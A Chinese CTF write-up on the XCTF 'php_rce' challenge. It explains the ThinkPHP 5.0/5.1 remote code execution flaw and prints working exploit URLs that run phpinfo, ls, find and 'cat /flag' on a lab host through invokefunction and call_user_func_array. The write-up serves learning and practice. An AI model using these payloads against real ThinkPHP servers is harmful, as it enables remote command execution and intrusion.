XCTF-攻防世界CTF平台-Web类——3、php_rce(ThinkPHP V5.0框架远程代码执行漏洞)

先访问题目场景:
在这里插入图片描述

主页提示我们:网页使用的是ThinkPHP框架,版本为5.0
这道题主要是考察:ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本。
攻击的exp是:http://111.200.241.244:61059/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
在这里插入图片描述
通过s就可以获取路由信息,程序未对控制器进行过滤,导致攻击者可以用 \(反斜杠)调用任意类方法。其中:

  1. index/是对应的模块
  2. \think\app 以反斜线开头,这就是我们想要实例化的类
  3. /invokefunction是让\think\app类想要调用的方法,
  4. function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1是对应invokefunction的参数。

对于选用invokefunction这个函数,是因为它是个反射函数,可以方便的调用任何函数。
关于如何解析把function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1这些解析成invokefuncition参数的,可以看下Request.php 对应的param函数。
需要注意的是不同版本的ThinkPHP,对应的文件、类名有些差异。当然还有很多的攻击方式,只要你去文件找到可以实例化的类构造相应的payload就行。

运行shell命令ls查看当前目录下的文件:http://111.200.241.244:61059/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
在这里插入图片描述
可以看到当前目录下的文件
查找根目录下的文件:http://111.200.241.244:61059/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /
参数/是根目录的意思,这表示显示根目录下的文件:
在这里插入图片描述
也可以使用find命令查找flag:

find / -name flag

或者

find / -name '*flag'

攻击:http://111.200.241.244:61059/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name flag
在这里插入图片描述
都可以找到flag文件所在的位置
之后使用cat命令查看/flag文件内容:

cat /flag

攻击:http://111.200.241.244:61059/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
在这里插入图片描述
得到flag:flag{thinkphp5_rce}

  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值